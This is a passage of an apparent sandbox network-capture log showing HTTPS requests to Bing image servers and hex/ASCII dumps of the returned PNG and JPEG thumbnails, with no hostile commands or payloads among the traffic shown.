a7 c8 04 db e3 a3 f7 75 0f 34 73 55 ca 2b 93 7e ee 8d de f5 06 fa 7e ea 39 50 c9 f7 d3 24 6a 6d 3b f7 Data Ascii: :>V~}%G2+!I:O"JwMiDqZ2o"SsSqN\|+<v=\|.9w&A`OLAl%0TP?"Jg%]w;dJg%XNnu=F;)/66M?/Wd@,myu4sU+~~9P$jm;
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 41 f0 e7 5c f1 2e 89 75 6d 04 fa c4 ba f5 8e a3 b2 d2 4d 3a e7 fe 3e 6d d1 1f fd 6d bc e9 f7 97 6f f0 33 55 2f 1a 41 ab 78 4b e2 44 70 3e 8f a8 79 1a 74 6f 1c 72 4b 2e c9 b6 32 6d fb a9 fd cf fd 06 a5 b5 5b b9 7e 1e db 4f e4 fd 9a 4d 3a db fe 5c 62 77 f3 25 df f2 ca 8b b7 fe fa 4a f7 61 52 33 a1 17 75 67 d7 fa fc 57 4d 8d 1d e2 db ea 63 78 e2 2d 9a df f6 8d d5 9c d7 16 36 f7 b3 5f d9 47 73 17 92 f7 1e 5c df bc 59 d7 fb d5 83 e2 6d 4e c2 d2 eb c2 f6 b2 68 f1 47 6b 1e ad 35 fc 9e 54 5b ef 2e fe 7f 9a 25 7f e2 f2 ff 00 da ae a3 c1 7e 27 d2 75 db a9 34 fb ad 4a d2 da 3d 3a c9 e7 d4 7e dd ff 00 2c df e7 6f 7a e2 fc 39 a3 6b b7 ba 77 86 f5 0d 7a f2 1d f6 fa 8d cf d9 bf 7c 9e 74 91 3f fa c6 93 fe f8 fb f5 d3 09 5b dd 31 93 56 52 8b dc f4 dd 4b c5 10 78 8e 18 ee Data Ascii: A\.umM:>mmo3U/AxKDp>ytorK.2m[~OM:\bw%JaR3ugWMcx-6_Gs\YmNhGk5T[.%~'u4J=:~,oz9kwz\|t?[1VRKx
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: b5 4b b8 af 3c c8 d2 48 fe ff 00 dc 6f bb 5e 34 f8 a6 bb fe 1e 1b f1 fd 2c 71 c7 1d 39 ab c2 9b 68 fb 63 58 f1 ef 80 74 af 33 fb 43 c5 fa 4c 72 47 ff 00 2c fe d7 e7 3f fe 39 9a ce 9b e2 ef c3 3b 79 36 7f c2 53 15 c7 99 ff 00 3e d6 93 3f fe cb 5f 23 6a 33 ff 00 64 ea d2 59 79 b6 9b 2d ff 00 e5 ac 72 fc 92 37 fb b5 0d a7 88 ed 12 68 de 7d 36 eb fd 5f fa c8 e2 44 ff 00 be 77 1c d7 9d 5f 8a b3 28 b6 95 18 ab 79 bf fe 48 6f 19 56 2d f3 a5 13 eb 59 be 34 fc 36 5f 91 35 2d 42 4f de 7f cb 2d 3d ff 00 77 4f 93 e3 17 80 7c dd 90 cd ab 5e f9 9f f3 ed a5 3d 7c 9b 63 e2 cb 07 9a 44 ba d3 6e ed e3 8e d9 e4 8f ec df be f9 d7 ee fd da ce d2 fc 77 a6 dc 5e 67 57 b2 d4 2d a0 92 39 bc bb 9f 27 fe 5a aa 7c 8b 1f f7 fd ea 68 67 f9 ed 5d 55 38 a5 d7 65 fa 95 0c 62 92 d1 af c8 Data Ascii: K<Ho^4,q9hcXt3CLrG,?9;y6S>?_#j3dYy-r7h}6_Dw_(yHoV-Y46_5-BO-=wO\|^=\|cDnw^gW-9'Z\|hg]U8eb
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 72 4d 71 7b 73 7b 2e c7 9d 7f e9 92 73 f7 be ef cb 5b 37 50 47 f1 53 c4 26 f7 c3 7a 8c d6 57 76 f2 4d 3c 5e 6c 4e e9 77 bf e4 93 ca fe e7 f0 7c b5 c7 df de 6a da 7c d6 da 73 cd f6 3b e9 23 49 22 b9 8e 54 74 f9 be 6f f5 9f dd af 49 8e f7 5a 5d 73 c3 70 6a 1a f7 83 b4 68 ee 24 7b 8b 69 2d ae a1 86 c6 4f 2d 36 79 ae ca bf 26 f6 fe 06 fb cd f9 d7 2e 39 d4 f6 7c f4 6c e5 67 6b ec 74 d1 49 45 c7 a9 95 e1 5f 85 7e 3b b7 d2 b5 fb 54 b3 d3 e4 8e ca da da 48 ef 7c d4 9a df 7c 6f be 36 df fc 1e ff 00 ef d7 6b ae 6b 9e 33 b7 f8 7b e0 dd 2d fc eb 29 2c a4 7b b8 e3 97 e7 4b 84 91 f7 79 4b b3 77 ee fd 1b ee 57 55 fb 3a eb da 54 b7 5f 66 f1 25 e6 a1 6f 6b e6 79 97 32 47 6a 9f 64 bb 81 be fc 92 c5 f7 37 7d 3e ed 63 f8 3f c2 3a ef 86 bc 59 ab 5e cf e2 ab 48 ed 74 5d 46 e7 Data Ascii: rMq{s{.s[7PGS&zWvM<^lNw\|j\|s;#I"TtoIZ]spjh${i-O-6y&.9\|lgktIE_~;TH\|\|o6kk3{-),{KyKwWU:T_f%oky2Gjd7}>c?:Y^Ht]F
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: d3 48 e9 0f 97 e5 fe f3 ed 11 7d cf f8 0e ea 82 3d e9 36 f8 3c d8 ff 00 eb 9c a8 ef 54 dc a4 b5 3a a9 e0 db bf 31 61 e5 9e d2 29 13 c9 8a e1 3c cf de 49 e5 6f a6 5d 58 dc 18 a3 b9 fe ce f2 e0 b8 91 e3 8e 58 e2 d8 ff 00 ed 2d 32 6b 9d 9f 27 fc b4 f3 37 ff 00 02 79 7b 7f e0 5f 35 58 8f 50 82 e2 d2 3b 29 a1 87 cf f9 ff 00 79 6d 0a 6f bb 56 ff 00 6b 75 38 c7 95 37 d4 ec a7 87 a5 1d 11 5e 78 e4 5f 31 ed a6 ba fd e4 7f bc ff 00 44 76 49 3f f1 ea 8a ea 09 fc a8 fc ef b9 26 cf f9 64 ff 00 fc 55 58 b5 58 e2 9b 63 cd f2 79 7e 5f 97 e5 22 3f ff 00 b3 44 c9 3b fc fe 54 bb 3c bf f9 e5 0f ff 00 15 ba 94 64 d3 dc b9 d3 8b 57 29 c1 05 fc 5f f2 c6 d7 c9 8f 67 fc b5 74 74 ff 00 79 5a a5 db 3d bf fa 52 4d 17 9d ff 00 2e fe 5c bf c3 57 be 44 96 3d 9e 6e c8 ff 00 e9 93 ec ff Data Ascii: H}=6<T:1a)<Io]XX-2k'7y{_5XP;)ymoVku87^x_1DvI?&dUXXcy~_"?D;T<dW)_gttyZ=RM.\WD=n
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: f9 45 65 ab bf 16 62 d3 3c 23 fe 9b ad 6b ba de a8 35 d8 de 48 ae 3c a7 49 bc f8 df 64 cd 75 f7 9f 76 ef bb f3 6d a7 ea 31 7c 3d f8 be 63 82 ea 0b af 00 78 b7 e4 78 e4 b2 95 3e c9 77 ff 00 01 6f 5f f8 0d 72 5a f7 80 f5 2f 02 f8 8a 59 fc 41 04 b7 93 4b ff 00 31 5b 89 7c e4 9f 77 fb 6d f7 6b aa a4 a9 4b 08 e1 55 73 35 b5 92 56 ff 00 83 f7 ed a6 82 92 75 28 24 d7 34 6f 6e 65 f6 7d 56 e9 fc be 65 6f 05 6b 33 eb 3e 26 b7 b2 d3 fc 15 e2 6b 8f b4 49 fb ab df 91 11 15 3e fc af bb 9d 8b fd e6 ad df 1a 78 7e d3 42 86 3b dd 3b c6 ba 4d ce b1 79 fe b2 ca da 64 bb 86 3b 7f f9 e9 24 b1 7c bf f0 0a c6 d5 9e 4d 4f fd 64 3f 69 79 3f 77 f6 78 a5 74 4f f8 12 d5 ad 0c e9 b6 f6 96 f6 b2 69 b6 ba 7b fe fa 4f 32 3b 44 fd e6 df e1 4d 9f de ff 00 be 7d 6b ca 5e c5 c1 7b 3a 76 9b Data Ascii: Eeb<#k5H<Iduvm1\|=cxx>wo_rZ/YAK1[\|wmkKUs5Vu($4one}Veok3>&kI>x~B;;Myd;$\|MOd?iy?wxtOi{O2;DM}k^{:v
2024-12-06 23:15:48 UTC	16067	IN	Data Raw: 7c fe 64 7f 65 78 be cf b7 fd fe 77 57 3d 7d e1 fd 4e 0b bb 64 f0 bc df d9 e9 14 9f e9 37 31 7c 9e 67 f7 a4 df f7 b7 57 65 a5 41 a5 58 e9 f6 f7 b3 eb 17 77 1f 68 93 fd 64 b2 ff 00 ac ff 00 be bf 5a e1 cc 16 12 9a 8c e9 bb b7 a5 ba af 5e c7 0d 5a b1 8d e5 6d 48 2d f4 89 12 6f 93 c9 b2 8f cb f3 24 b9 8e 2d fe 67 fd 75 df f7 e8 6d 5e ee d2 69 1e cb 41 97 51 8f fe 7a 5b 6c fd de df f6 d9 aa 4d 72 fa c3 4d d3 a4 bd ff 00 4a 91 3f e7 9f ff 00 63 56 3c 8d 66 e2 d3 49 9f 4b b2 bb bc 82 f2 2f b7 dc fd a6 d7 f7 3f 65 8f fd 6c 6a df 29 f9 7e eb 57 1e 1e 9d 5c 45 e4 e1 75 f3 5f 96 ac 58 56 ea fb d6 2b fd b2 fe f6 d3 cb 4b 3f df f9 7e 67 d8 ae 65 7f ee 6f ff 00 76 9b 6b 73 1a 79 51 ea 3f d9 da 74 97 1b 23 8e 49 2d 1f f8 bf df aa 53 6a 7a cd ee 9f fd 97 6b 79 15 c5 8f Data Ascii: \|dexwW=}Nd71\|gWeAXwhdZ^ZmH-o$-gum^iAQz[lMrMJ?cV<fIK/?elj)~W\Eu_XV+K?~geovksyQ?t#I-Sjzky
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 78 66 d4 24 ff 00 96 9e 5f 95 fc 0b f7 d9 53 fb ab fe d5 73 5a 4e 84 9e 22 d6 ef 5e c7 4d bb bc fd df 99 f6 7b 6f dc c3 07 c9 bb ef 37 dd f9 6b e8 4f 1c 5f 78 6b 4a b4 b1 4b 2d 37 ec ff 00 e8 d0 ff 00 c7 b7 fc 7c dd cb 27 cd b1 df 6f fa a4 6f 5a c4 8f 50 b0 7f 32 0b dd 36 1b db ef b6 a5 bc 91 db 5d c2 96 d6 e9 22 79 9e 5e d5 6f ef 74 fe e7 f1 6d ac 70 f9 95 57 1b da ef cf fc 8d 2a e0 69 2d 9a 3c 26 eb c3 b0 5a 5a c9 25 ec d0 c9 1f fd 38 fe f9 e3 dd f7 6b 9f fe cf bf ba 32 18 2c fe 4f 33 cb fd df fe 83 f5 af 55 d7 6f 6c 35 5d 5b 5a d6 2f 6d 25 d3 e4 b3 b6 4f 2f ec b2 ff 00 a3 cf b7 ef b4 7b 7d 1a b3 3c 27 3f 88 f4 cd 3e 3b dd 4f 36 f6 f1 c9 f6 b8 bc b3 be 69 17 f8 62 8b 6f dd cb 7d e7 af 62 38 95 34 93 dc f3 1d 1e 56 75 5e 0b d0 b4 6f 0d 78 63 cb d2 a6 fb Data Ascii: xf$_SsZN"^M{o7kO_xkJK-7\|'ooZP26]"y^otmpW*i-<&ZZ%8k2,O3Uol5][Z/m%O/{}<'?>;O6ibo}b84Vu^oxc
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: a9 d1 dc c6 9f 27 d8 fc cf fa e5 45 ad b2 02 0f de 27 fd 34 ff 00 ae 52 ef a8 63 b9 fe 3f 26 1f fb 6b 56 a4 82 0b 8f de 41 0c d1 ff 00 d7 28 69 bf f6 db fe fe 45 57 cc 98 b5 22 fb 4c 12 ff 00 ac b3 fd e7 fd 32 a2 48 a3 f3 b7 a7 fe 8a a9 76 dd a7 ef 3e c7 e6 47 ff 00 4c a8 8e ea 34 f9 1e cf cb ff 00 ae b4 5d fd 91 2b 8e f3 6e ff 00 e5 85 e7 fd fd a6 ee fe 37 b3 86 4a 97 cd b0 97 fe 58 c3 27 fd 72 96 99 b6 0f 3b f7 10 f9 92 7f df 75 17 28 6c 73 e9 af ff 00 2c 7e cf 25 12 41 07 9d bd 26 ff 00 bf bb 29 d2 79 6f ff 00 1f 56 73 53 64 8a 3f f9 61 e4 ff 00 db 4f bf 45 da ea 01 22 c9 ff 00 3c 61 92 9b 23 41 ff 00 2d e1 86 9d 1c 56 92 fc 8f 67 fb ca b1 1c 5e 57 fc f1 a4 e4 96 e0 55 91 74 df b9 ff 00 3d 29 c9 a7 c6 9f 3c 17 9e 5f fd 75 ab 52 34 0f fe b3 c9 92 ab f9 Data Ascii: 'E'4Rc?&kVA(iEW"L2Hv>GL4]+n7JX'r;u(ls,~%A&)yoVsSd?aOE"<a#A-Vg^WUt=)<_uR4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49832	2.16.158.83	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:47 UTC	367	OUT	GET /th?id=OADD2.10239337201808_1NREAF5SJS6TG8GUU&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive
2024-12-06 23:15:48 UTC	628	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Type: image/png Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QWthbWFp"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Content-Length: 1874 Date: Fri, 06 Dec 2024 23:15:47 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.249e1002.1733526947.1057bcf0
2024-12-06 23:15:48 UTC	1874	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 06 e7 49 44 41 54 48 4b 95 93 0b 54 93 e7 19 c7 3f 2e 81 90 1b b7 ba a3 67 dd 7a a6 75 a7 83 40 88 dc ca aa d4 1d 94 02 02 81 90 ac 5e d0 8e e3 8e 5d 2f 93 22 0c 08 01 af 08 a2 a0 20 a2 50 44 ec 9c 73 dd d9 dc ea ac 68 5b 35 17 92 70 27 5c 12 12 42 a2 dc aa 88 a8 79 9f 8f 90 48 4b f6 26 fb 8e eb d6 d9 6d bf 73 fe e7 3b 39 e7 7d fe bf ef 79 bf 13 e2 bb 58 ad 34 ae e4 ca 47 8b b9 72 e3 17 5c b9 6e 3c 44 31 f0 24 44 d9 83 a3 9a 0c 51 de 54 87 2a db 8e 87 2a ff b2 9e f8 a3 d8 8b 1a f9 df e0 7d 31 f1 fd 08 d9 Data Ascii: PNGIHDRw=sRGBgAMAapHYsodIDATHKT?.gzu@^]/" PDsh[5p'\ByHK&ms;9}yX4Gr\n<D1$DQT**}1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49833	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:47 UTC	375	OUT	GET /th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:47 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 595926 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: ED8DF8A8DE664A748F983C9E4C1B164C Ref B: EWR311000104017 Ref C: 2024-12-06T23:15:47Z Date: Fri, 06 Dec 2024 23:15:46 GMT Connection: close
2024-12-06 23:15:47 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a d4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 ec 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 31 20 28 32 30 32 34 31 31 30 33 2e 6d 2e 32 38 33 34 20 31 34 64 33 65 37 34 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 31 3a 31 34 20 31 33 3a 34 36 3a 30 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 Data Ascii: JFIF``ExifMM*bj(1:r2i``Adobe Photoshop 26.1 (20241103.m.2834 14d3e74) (Windows)2024:11:14 13:46:08
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: d3 6a b9 86 14 98 a5 a5 f6 a0 42 73 47 34 6d a2 80 13 14 2d 2a d1 47 32 18 51 45 2a d5 29 21 58 6e 29 57 8a 1a 97 14 ee 31 28 a5 c5 1f c3 48 04 a2 97 14 63 34 5c 42 51 4e 5a 18 50 a4 30 e6 91 45 1f c5 4b f2 d5 5f 40 1b 8f 9a 97 14 b4 63 e6 a3 9b 41 07 34 98 c3 50 bc 50 b4 5c 01 7d 29 69 dc d1 cd 1c d7 0b 07 34 98 a5 e6 85 a7 70 0e 68 e6 8a 3f 8a 92 92 10 73 45 1d 29 56 86 c7 61 16 9d cd 14 7b d1 d0 46 26 29 79 a2 8a e1 24 39 a6 d3 b9 a3 9a 77 00 e6 91 a9 79 a3 9a 2e 03 68 a7 73 47 34 00 da 29 dc d2 30 a7 75 60 12 86 a7 73 4d a2 e0 0d 47 34 52 e2 a9 b2 44 a2 9d cd 1c d1 cc 03 69 5a 8c 52 f3 45 c0 39 a4 c5 2f 34 73 4e e0 22 d2 af 14 51 4c 04 c5 2a d1 45 1c c0 14 73 45 14 d3 60 14 ee 69 31 4b cd 55 c0 39 a3 9a 39 a7 73 4c 06 d1 4a d4 bc d1 71 d8 39 a2 85 e2 Data Ascii: jBsG4m-G2QE)!Xn)W1(Hc4\BQNZP0EK_@cA4PP\})i4ph?sE)Va{F&)y$9wy.hsG4)0u`sMG4RDiZRE9/4sN"QL*EsE`i1KU99sLJq9
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 91 97 d4 2d 90 af 31 c9 e5 b3 7d 71 9f fc 7b 75 6a 64 47 e2 0d 9e 56 e2 d1 a9 f9 7e a6 b9 ff 00 86 7e 26 d1 3c 67 a6 cb a9 e8 90 5d c4 b0 5c f9 72 47 7a a1 5d 64 5f 9f 38 52 78 f9 eb 57 c4 1a bc 5a 5f 8d 2c 60 96 da 49 05 e5 b3 08 e4 56 1f 29 57 1c 73 fe f5 79 b2 bf 33 b9 b6 ab 43 e7 5f 8b 90 cb 6f e3 0d 63 fe 5b cb 1d ec be 5c 7f f3 f5 12 b3 dd 41 b7 fd a5 0d 79 17 d1 3d ab ce 75 0b 71 7e b2 41 04 bb bc b8 e3 82 3b 9f ba d2 44 e7 cc b3 b8 fa ab 7c 8c 7b 57 a2 7c 69 5b bf f8 4b b5 2b 48 a7 55 99 b5 49 85 a4 92 7c ad 0c e0 fd b6 db fe 02 eb 25 c4 7e 9f 91 ae 1a 48 a0 66 89 20 ff 00 45 b5 96 43 6d 1f 9b ff 00 2e a2 7f de 46 8f 9f e0 12 6e 1f a7 f7 ab d9 c2 4b f7 68 d3 a5 cc 9b 6b 82 db 6f 7e c7 b8 ed 9a f3 ec 9f 77 70 c7 97 a8 5a 7b 64 7e f4 0e c2 ac 49 1d Data Ascii: -1}q{ujdGV~~&<g]\rGz]d_8RxWZ_,`IV)Wsy3C_oc[\Ay=uq~A;D\|{W\|i[K+HUI\|%~Hf ECm.FnKhko~wpZ{d~I
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 2c 8b 24 7a fc 11 c4 bb be cb 28 e2 59 62 c7 de 00 a9 dc 07 de f2 7f e9 aa e2 b5 cc 92 f8 66 e2 79 65 89 65 ba f0 f5 ea dc c9 6d bb 77 db b4 c9 b6 29 39 f5 1f b8 c9 f7 dd dd aa bc 33 de 69 b2 7d 9b 47 ff 00 49 b9 f0 be 75 5d 1a 49 17 fe 42 1a 44 c0 17 89 97 f8 80 5d 8c 47 65 f3 87 f0 8a ec 77 96 c0 4f af 45 3c 9e 6e a1 a5 45 1a dd e9 ff 00 f1 3b d3 e2 5f 9d 24 81 f8 9e 31 fd e4 f9 4e 47 fd 33 6f f9 ea 2b 9c 66 30 32 8d 2b e6 fb 32 b6 ad a2 6f f9 bc cb 76 cf 9f 6a df de c6 d7 c8 ef e5 c9 fd fa e8 34 df ed 3b 19 ad 62 f0 e7 ef 1a ce 36 d7 3c 2e d2 7c df 6a b3 61 9b 8b 26 fe f9 50 bf 77 d6 39 31 f7 96 b2 35 6b 4d 90 c7 75 a1 2b 45 6e d9 d6 74 06 fb cd 0e 0f ef ad bd c8 f2 fa 77 30 9f f9 e9 ce b4 dd b4 7f d7 f5 fe 60 8c e3 fe 8f 24 43 4b 6f 31 62 8d b5 0d 19 Data Ascii: ,$z(Ybfyeemw)93i}GIu]IBD]GewOE<nE;_$1NG3o+f02+2ovj4;b6<.\|ja&Pw915kMu+Entw0`$CKo1b
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 67 67 5c 66 a3 3a 57 a2 ae fb 74 bf 4f eb c8 9a da c6 d7 b1 d7 fe d0 30 78 52 db ca 83 49 d2 ad ad 66 66 05 5a da e6 46 5d 84 12 03 23 a8 c3 74 e8 4d 6d 7c 2f f0 b6 99 a6 68 2b 73 71 3f 87 f5 05 be 89 64 96 2b b9 36 4d 6e 30 78 4e 08 0d 9f 5a f1 af 1d 6a f2 6a 9a b4 72 cb 3f de c0 f9 5b 76 d0 a0 0a 92 e7 57 b8 8a 66 82 39 59 8e d0 15 7f 8b a5 79 f4 f0 75 e5 42 31 6d 5d ea d2 56 5f 24 ba 1c 96 e8 7a 27 c7 8d 37 c3 96 da 1d ac fa 62 c1 1d c6 e6 46 f2 ee e3 93 70 1d ca a2 2f e7 5e 23 6e e4 5f 49 9f f9 e7 5a 5a f6 ab 24 ca a9 24 bf 76 b9 d6 ba 97 cc 63 1c ac dd bb 57 d2 65 78 67 46 82 85 ca f8 56 e7 47 a3 ca 5a 49 7f eb a6 3f 4a a9 f1 92 4b 6f f8 47 74 a7 b7 58 36 cb 7f 72 56 5d c7 cc 60 89 12 e1 93 71 0a 32 4f 38 c9 f5 ec 2a 68 37 ef 14 92 49 2b 7e ef ae ef Data Ascii: gg\f:WtO0xRIffZF]#tMm\|/h+sq?d+6Mn0xNZjjr?[vWf9YyuB1m]V_$z'7bFp/^#n_IZZ$$vcWexgFVGZI?JKoGtX6rV]`q2O8*h7I+~
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: e5 99 14 0f fd 04 01 f9 0a e1 bc 33 69 67 7b ab 2d b5 fd f4 16 30 c8 a7 74 f2 ae e5 5e 3f ad 7b 98 4c 44 e7 87 8d 5a 8a ce da a3 c4 c6 51 84 2b 3a 70 77 46 6c 9a 95 cb 2c 80 ed c4 b1 2c 2d f2 8e 8b 8c 7e 3c 75 a7 5b 11 f6 75 cf f7 be ed 6d d9 e8 da 65 c7 8a a7 d2 bf b4 fc d8 b6 91 69 3d b5 b1 76 b8 93 1f 22 05 ce 7e 66 e3 da 99 e2 df 0d 6b 7e 1e 5f f8 9a 69 93 da 8f 31 92 36 96 32 8a c5 71 b8 0c 81 c8 c8 e3 ad 75 47 11 4b 99 46 f6 6c e7 f6 33 51 72 b6 88 8e d3 ec d2 2c ae eb 68 a5 a2 3e 5a b6 57 9f 6c 77 ad 5f 0d cd e1 e9 ae 25 9e ff 00 4c 81 ae 20 68 bc a8 1a 42 21 99 07 0f bb 9c ee ef c5 72 f1 aa 3d ab 4b f7 4c 6c 3e 5f ad 3a cc 49 1d 9b 5d 98 9b 6a b7 ca cc bf 2b 7e 34 aa 52 e7 4e ce cc d2 95 6e 56 9d 90 ba 95 b8 b6 d5 1e 20 d1 b7 97 29 1b a3 6d ca dc Data Ascii: 3ig{-0t^?{LDZQ+:pwFl,,-~<u[umei=v"~fk~_i162quGKFl3Qr,h>ZWlw_%L hB!r=KLl>_:I]j+~4RNnV )m
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 88 dc 38 62 32 79 08 a3 1f 4c 57 b9 29 60 21 04 a4 d5 b6 7d 34 27 9a 72 9b e5 57 67 9f ea df 11 35 5d 43 e2 56 87 ac e9 f1 5a 45 2e a7 f6 52 b7 2d 6d 1b dc c2 fb fc 87 5f 37 68 dd 86 57 e7 1f 77 15 13 6b 9e 33 f1 1f c4 08 1e 05 d4 2f 1a ce e7 c9 b1 92 38 02 98 c3 10 36 ab e0 00 55 4f af 05 73 5e a5 e1 df 0f 78 5b 4c b1 d1 ee 6c 34 a8 20 d4 f4 d9 49 9e 39 71 75 1c 88 4e 72 a5 f2 51 89 fa 62 ba 2d 41 11 74 db ab 58 f4 f9 23 d3 75 06 59 a1 b4 6d 8e 90 f3 91 e5 9f bc 83 39 cf 20 9a f1 31 19 d6 4f 87 9a 70 5c cd 2b 2b 2f d4 f5 28 e5 38 fa b6 8c a3 ca 9f f3 3f d0 f2 dd 2b e1 5f 8c f5 68 75 39 3c 49 2e e5 b6 88 1b b8 ef 6e de 69 a3 08 fb fc c5 5c 90 47 de e8 dc ef 3e b5 ea 5e 0d f0 0f 87 b4 78 ed 35 0f ed 08 3e d3 05 f4 37 96 92 58 db 08 61 91 c4 4e aa af 16 4e Data Ascii: 8b2yLW)`!}4'rWg5]CVZE.R-m_7hWwk3/86UOs^x[Ll4 I9quNrQb-AtX#uYm9 1Op\++/(8?+_hu9<I.ni\G>^x5>7XaNN
2024-12-06 23:15:48 UTC	16069	IN	Data Raw: 8c bf f3 cd 7a d4 71 49 6f 16 45 4a 4d ec cf 3c 79 52 59 39 dc d2 b3 7f c0 54 56 8f 86 fc 3f aa eb d2 5e 45 a5 2a cb 2d 9d b3 5d 4e ad 22 26 d8 93 ef 11 b8 8d c4 7a 0c 9a ef 5b c0 fe 1b 91 54 88 b5 b8 bf 87 6f d9 b7 73 e9 f7 3a fb 57 61 e0 ff 00 0b f8 63 4c b1 9e 7b 6f 0b eb 7a 94 b2 5b 14 59 6e ec 03 a4 2f c1 de a3 ca f9 b1 cf 07 d6 b3 c4 66 10 84 7d dd c9 86 1d c9 fb cc f9 e7 71 13 60 fc c3 fb d5 dd 78 47 c0 6f 7f e2 eb ad 0e e6 55 6f 2b 4b fb 52 cf b5 d6 38 f7 a0 28 cd 80 4e d1 bb a8 06 ba 6d 57 c3 1e 14 92 f1 8c eb 7d 6c de 67 cd 1a da 47 0f e1 ca 8c 57 4c de 20 b6 b2 d6 16 ef c3 f6 32 5c cb 06 92 b6 0a d7 d6 56 ee b7 4e 38 26 5e fb 71 b7 90 7f 80 70 32 6b 8f 1b 8c ad 24 a3 42 3b a7 af 6d ac 4c 69 24 fd e3 c7 3c 49 a2 e9 da 5e a0 d6 76 f7 d0 5f 08 a2 Data Ascii: zqIoEJM<yRY9TV?^E*-]N"&z[Tos:WacL{oz[Yn/f}q`xGoUo+KR8(NmW}lgGWL 2\VN8&^qp2k$B;mLi$<I^v_
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: 25 54 1f 29 79 00 7f ac 4e 9c e2 d5 e7 c1 8f 0e 69 fa 7d f4 97 ba e6 a1 29 8e 32 60 f2 d4 22 a9 e7 03 a1 ca fd 6b c8 3c 65 a0 69 7a 15 be 25 69 25 69 db 31 c9 e6 7f ab eb f2 9f 94 7b 57 3c b8 6f 22 75 e5 49 e1 e2 a5 e4 ed f9 24 75 3c 45 7f 67 17 ce da ff 00 0a ff 00 33 d6 6e be 33 49 03 6a 31 bf 89 fc 21 a8 44 f7 26 d9 d3 fb 52 e7 64 c8 c2 40 c4 03 d5 0f 97 f4 fd e2 7a 9c 79 5f c4 2f 0f f8 73 c4 ba e5 cd ed be b9 e0 5d 39 5a f8 c3 b2 c6 fd 94 49 9c 8d e3 7a fd c1 e5 e4 7f d7 41 f8 71 37 d2 e8 ee d8 78 a7 6d d3 8d df 37 fc b3 e7 2b fc aa de 83 a7 f8 32 6f 2a 27 b3 b9 f3 a5 bd f9 9b ed 3f 2a c5 c7 18 23 eb cd 7a d9 6e 45 96 e5 ce 55 70 d4 f9 5b 5d df f9 d8 e2 c5 62 2a d4 6a 9b 